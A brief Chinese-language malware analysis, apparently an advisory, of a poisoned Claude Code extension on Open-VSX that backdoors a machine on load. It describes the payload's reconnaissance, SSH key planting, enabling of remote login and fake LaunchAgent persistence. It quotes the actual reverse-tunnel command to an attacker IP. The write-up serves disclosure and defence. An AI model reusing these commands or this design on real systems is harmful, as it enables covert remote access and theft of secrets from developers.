anthropic.claude-code@2.1.313 在 Open-VSX 上被投毒，恶意版本与正版只差一个文件：有人在 extension.js 前面插进一段 66 行的立即执行函数。你不需要和 Claude 聊天、不需要点击、也不需要授权任何东西，VS Code 启动加载扩展的那一刻载荷就跑起来了。它先做侦察：主机名、用户名、操作系统与架构、家目录、git 邮箱，以及最多 40 个名字里含 KEY、TOKEN、SECRET、PASS、AWS、GCP 的环境变量（先只取名字，摸清你有什么）。接着创建 ~/.ssh 并往 authorized_keys 追加一把注释为 svc-telemetry 的 Ed25519 公钥，用 sudo -n systemsetup -setremotelogin on 打开远程登录，把内置私钥解到临时目录后循环执行反向隧道 ssh tunnel@134.209.82.225 -N -R '*:0:localhost:22'，关掉主机密钥校验、每 60 秒重连，再以伪装成系统守护进程的 LaunchAgent com.apple.sysmond 持久化，1.5 秒后把侦察结果 POST 到 beacon 端点。作者还写了 7 项只读自查脚本。